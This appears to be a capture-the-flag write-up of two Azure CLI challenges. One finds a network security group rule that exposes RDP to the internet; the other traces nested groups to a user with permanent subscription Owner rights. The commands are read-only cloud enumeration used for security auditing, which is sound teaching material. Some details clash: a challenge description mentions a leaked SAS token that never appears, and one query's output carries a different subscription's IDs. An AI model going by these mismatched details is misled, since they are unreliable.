Name                 Location    ProvisioningState
-------------------  ----------  -------------------
theneighborhood-rg1  eastus      Succeeded
theneighborhood-rg2  westus      Succeeded

Enumerating Network Security Groups (NSGs)⚓︎

Terminal

Lets take a look at Network Security Groups (NSGs).

To do this try: az network nsg list -o table

This lists all NSGs across resource groups.

For more information: https://learn.microsoft.com/en-us/cli/azure/network/nsg?view=azure-cli-latest

Next, we enumerate all Network Security Groups (NSGs) across the subscription:

$ az network nsg list -o table
Location    Name                   ResourceGroup
----------  ---------------------  -------------------
eastus      nsg-web-eastus         theneighborhood-rg1
eastus      nsg-db-eastus          theneighborhood-rg1
eastus      nsg-dev-eastus         theneighborhood-rg2
eastus      nsg-mgmt-eastus        theneighborhood-rg2
eastus      nsg-production-eastus  theneighborhood-rg1

Inspecting NSG Rules⚓︎

Terminal

Inspect the Network Security Group (web) 🕵️

Here is the NSG and its resource group:--name nsg-web-eastus --resource-group theneighborhood-rg1

Hint: We want to show the NSG details. Use | less to page through the output.

Documentation: https://learn.microsoft.com/en-us/cli/azure/network/nsg?view=azure-cli-latest#az-network-nsg-show

We first inspect the NSG protecting the web tier:

$ az network nsg show --name nsg-web-eastus --resource-group theneighborhood-rg1
{
  ...[snip]...
    "securityRules": [
      {
        "name": "Allow-HTTP-Inbound",
        "properties": {
          "access": "Allow",
          "destinationPortRange": "80",
          "direction": "Inbound",
          ...[snip]...
          "sourceAddressPrefix": "0.0.0.0/0"
        }
      },
      {
        "name": "Allow-HTTPS-Inbound",
        "properties": {
          "access": "Allow",
          "destinationPortRange": "443",
          "direction": "Inbound",
          ...[snip]...
          "sourceAddressPrefix": "0.0.0.0/0"
        }
      },
      ...[snip]...
      {
        "name": "Deny-All-Inbound",
        "properties": {
          "access": "Deny",
          "destinationPortRange": "*",
          "direction": "Inbound",
          ...[snip]...
          "sourceAddressPrefix": "*"
        }
      }
    ]
  ...[snip]...
}

The web NSG appears reasonably locked down, permitting only HTTP/HTTPS traffic from the internet.

Terminal

Inspect the Network Security Group (mgmt) 🕵️

Here is the NSG and its resource group:--nsg-name nsg-mgmt-eastus --resource-group theneighborhood-rg2

Hint: We want to list the NSG rules

Documentation: https://learn.microsoft.com/en-us/cli/azure/network/nsg/rule?view=azure-cli-latest#az-network-nsg-rule-list

Next, we inspect the management NSG:

$ az network nsg rule list --nsg-name nsg-mgmt-eastus --resource-group theneighborhood-rg2 | less
[
  {
    "name": "Allow-AzureBastion",
    "nsg": "nsg-mgmt-eastus",
    "properties": {
      "access": "Allow",
      "destinationPortRange": "443",
      "direction": "Inbound",
      ...[snip]...
      "sourceAddressPrefix": "AzureBastion"
    }
  },
  {
    "name": "Allow-Monitoring-Inbound",
    "nsg": "nsg-mgmt-eastus",
    "properties": {
      "access": "Allow",
      "destinationPortRange": "443",
      "direction": "Inbound",
      ...[snip]...
      "sourceAddressPrefix": "AzureMonitor"
    }
  },
  ...[snip]...
  {
    "name": "Deny-All-Inbound",
    "nsg": "nsg-mgmt-eastus",
    "properties": {
      "access": "Deny",
      "destinationPortRange": "*",
      "direction": "Inbound",
      ...[snip]...
      "sourceAddressPrefix": "*"
    }
  },
  ...[snip]...
]

The management NSG restricts inbound access appropriately and does not expose sensitive services directly to the internet.

Terminal

Take a look at the rest of the NSG rules and examine their properties.

After enumerating the NSG rules, enter the command string to view the suspect rule and inspect its properties.

Hint: Review fields such as direction, access, protocol, source, destination and port settings.

Documentation: https://learn.microsoft.com/en-us/cli/azure/network/nsg/rule?view=azure-cli-latest#az-network-nsg-rule-show

We expand our search to include the remaining NSGs, focusing on production:

# Dump all nsg rules:
$ az network nsg list --query '[].{name:name,resourceGroup:resourceGroup,securityRules:securityRules,defaultSecurityRules:defaultSecurityRules}' -o json

# Specific production rule:
$ az network nsg rule list --nsg-name nsg-production-eastus --resource-group theneighborhood-rg1 | less
[
  ...[snip]...
  {
    "name": "Allow-RDP-From-Internet",
    "nsg": "nsg-production-eastus",
    "properties": {
      "access": "Allow",
      "destinationPortRange": "3389",
      "direction": "Inbound",
      "priority": 120,
      "protocol": "Tcp",
      "sourceAddressPrefix": "0.0.0.0/0"
    }
  },
  ...[snip]...
]

One rule stands out: Allow-RDP-From-Internet, which permits unrestricted inbound RDP access from the public internet.

Inspecting the rule directly confirms the issue:

$ az network nsg rule show --nsg-name nsg-production-eastus --resource-group theneighborhood-rg1 --name Allow-RDP-From-Internet
Terminal

Nice work!

Great, you found the NSG misconfiguration allowing RDP (port 3389) from the public internet!

Port 3389 is used by Remote Desktop Protocol - exposing it broadly allows attackers to brute-force credentials, exploit RDP vulnerabilities, and pivot within the network.

✨ To finish, type: finish

$ finish
Completing challenge...

This completes the objective and we are awarded an achievement.

Achievement

Congratulations! You have completed the Forgotton IP challenge!

Owner⚓︎

Owner
Difficulty:
Location: Park
Topic: Cloud IAM / Azure RBAC Excessive Privilege & Group Nesting

Help Goose James near the park discover the accidentally leaked SAS token in a public JavaScript file and determine what Azure Storage resource it exposes and what permissions it grants.

Overview

This challenge demonstrates how nested group memberships hide excessive RBAC permissions, violating least privilege principles.

  • Subscription-level Owner role grants full control over all resources
  • Nested groups can obscure who actually has elevated permissions
  • PIM (Privileged Identity Management) should replace permanent role assignments
graph LR
    A[List Role Assignments] --> B[Find Non-PIM Owner]
    B --> C[Enumerate Group Members]
    C --> D[Discover Nested Group]
    D --> E[Find Actual User]

We head to the park to meet Goose James.

Santa provides a hint indicating that the terminal includes guidance:

Owner

This terminal has built-in hints!

Opening the Owner terminal launches a terminal session with the Azure CLI already configured.

Azure CLI Querying with JMESPath⚓︎

Terminal

Let's learn some more Azure CLI, the --query parameter with JMESPath syntax!

$ az account list --query "[].name"

Here, [] loops through each item, .name grabs the name field

We begin by listing all subscriptions and using --query to return only subscription names.

$ az account list --query '[].name'
[
  "theneighborhood-sub",
  "theneighborhood-sub-2",
  "theneighborhood-sub-3",
  "theneighborhood-sub-4"
]
Terminal

You can do some more advanced queries using conditional filtering with custom output.

$ az account list --query "[?state=='Enabled'].{Name:name, ID:id}"

Cool! 😎 [?condition] filters what you want, {custom:fields} makes clean output ✨

Next, we filter for enabled subscriptions and format the output into a cleaner shape.

$ az account list --query "[?state=='Enabled'].{Name:name, ID:id}"
[
  {
    "ID": "2b0942f3-9bca-484b-a508-abdae2db5e64",
    "Name": "theneighborhood-sub"
  },
  {
    "ID": "4d9dbf2a-90b4-4d40-a97f-dc51f3c3d46e",
    "Name": "theneighborhood-sub-2"
  },
  {
    "ID": "065cc24a-077e-40b9-b666-2f4dd9f3a617",
    "Name": "theneighborhood-sub-3"
  },
  {
    "ID": "681c0111-ca84-47b2-808d-d8be2325b380",
    "Name": "theneighborhood-sub-4"
  }
]

Enumerating Subscription Owners⚓︎

Terminal

Let's take a look at the Owner's of the first listed subscription 🔍. Pass in the first subscription id.

Try: az role assignment list --scope "/subscriptions/{ID of first Subscription}" --query [?roleDefinition=='Owner']

We now query the Owner role assignments on the first subscription scope.

$ az role assignment list --scope "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64" --query [?roleDefinition=='Owner']
[
  {
    "condition": "null",
    "conditionVersion": "null",
    "createdBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
    "createdOn": "2025-09-10T15:45:12.439266+00:00",
    "delegatedManagedIdentityResourceId": "null",
    "description": "null",
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/providers/Microsoft.Authorization/roleAssignments/b1c69caa-a4d6-449a-a090-efacb23b55f3",
    "name": "b1c69caa-a4d6-449a-a090-efacb23b55f3",
    "principalId": "2b5c7aed-2728-4e63-b657-98f759cc0936",
    "principalName": "PIM-Owners",
    "principalType": "Group",
    "roleDefinitionId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
    "roleDefinitionName": "Owner",
    "scope": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64",
    "type": "Microsoft.Authorization/roleAssignments",
    "updatedBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
    "updatedOn": "2025-09-10T15:45:12.439266+00:00"
  }
]
Terminal

Ok 🤔 - there is a group present for the Owners permission; however, we've been assured this is a 🔐 PIM enabled group.

Currently, no PIM activations are present. 🚨

Let's run the previous command against the other subscriptions to see what we come up with.

At first glance, an Owner assignment to a PIM-enabled group is expected. PIM (Privileged Identity Management) reduces standing privilege by requiring just-in-time activation for high-impact roles. To validate the claim that only the PIM group has Owner rights everywhere, we repeat the query against the remaining subscriptions.

$ az role assignment list --scope "/subscriptions/4d9dbf2a-90b4-4d40-a97f-dc51f3c3d46e" --query [?roleDefinition=='Owner']
[
  {
    "condition": "null",
    "conditionVersion": "null",
    "createdBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
    "createdOn": "2025-09-10T15:45:12.439266+00:00",
    "delegatedManagedIdentityResourceId": "null",
    "description": "null",
    "id": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleAssignments/b1c69caa-a4d6-449a-a090-efacb23b55f3",
    "name": "b1c69caa-a4d6-449a-a090-efacb23b55f3",
    "principalId": "2b5c7aed-2728-4e63-b657-98f759cc0936",
    "principalName": "PIM-Owners",
    "principalType": "Group",
    "roleDefinitionId": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
    "roleDefinitionName": "Owner",
    "scope": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617",
    "type": "Microsoft.Authorization/roleAssignments",
    "updatedBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
    "updatedOn": "2025-09-10T15:45:12.439266+00:00"
  },
  {
    "condition": "null",
    "conditionVersion": "null",
    "createdBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
    "createdOn": "2025-09-10T16:58:16.317381+00:00",
    "delegatedManagedIdentityResourceId": "null",
    "description": "null",
    "id": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleAssignments/6b452f58-6872-4064-ae9b-78742e8d987e",
    "name": "6b452f58-6872-4064-ae9b-78742e8d987e",
    "principalId": "6b982f2f-78a0-44a8-b915-79240b2b4796",
    "principalName": "IT Admins",
    "principalType": "Group",
    "roleDefinitionId": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
    "roleDefinitionName": "Owner",
    "scope": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617",
    "type": "Microsoft.Authorization/roleAssignments",
    "updatedBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
    "updatedOn": "2025-09-10T16:58:16.317381+00:00"
  }
]

This output reveals the problem: IT Admins is also assigned the Owner role, meaning there is standing privilege outside of PIM.

Investigating Excessive Privilege⚓︎

Terminal

Looks like you are on to something here! 🕵️ We were assured that only the 🔐 PIM group was present for each subscription.

🔎 Let's figure out the membership of that group.

Hint: use the az ad member list command. Pass the group id instead of the name.

Remember: | less lets you scroll through long output

To determine who effectively has subscription-level Owner access, we enumerate the membership of the IT Admins group.

$ az ad group member list --group 6b982f2f-78a0-44a8-b915-79240b2b4796 | less
[
  {
    "@odata.type": "#microsoft.graph.group",
    ...[snip]...
    "displayName": "Subscription Admins",
    "id": "631ebd3f-39f9-4492-a780-aef2aec8c94e",
    ...[snip]...
  }
]
Terminal

Well 😤, that's annoying. Looks like we have a nested group!

Let's run the command one more time against this group.

The output shows a nested group, so we enumerate Subscription Admins as well.

$ az ad group member list --group 631ebd3f-39f9-4492-a780-aef2aec8c94e | less
[
  {
    "@odata.type": "#microsoft.graph.user",
    ...[snip]...
    "displayName": "Firewall Frank",
    "givenName": "Frank",
    "id": "b8613dd2-5e33-4d77-91fb-b4f2338c19c9",
    "jobTitle": "HOA IT Administrator",
    "mail": "frank.firewall@theneighborhood.invalid",
    ...[snip]...
    "userPrincipalName": "frank.firewall@theneighborhood.onmicrosoft.com"
  }
]
Terminal

🎉 Great! You discovered Firewall Frank, the 👨‍💻 IT Administrator, with permanent Owner access.

This is a security risk ⚠️ - IT staff should use 🔐 PIM (Privileged Identity Management) for elevated access instead of permanent assignments. Permanent Owner roles create persistent attack paths and violate least-privilege principles.

Challenge Complete! To finish, type: finish

$ finish
Completing challenge...

This completes the objective and we are awarded an achievement.

Achievement

Congratulations! You have completed the Token Exposure challenge!

With all ten Act 1 objectives complete, the mystery deepens - and Act 2 unlocks.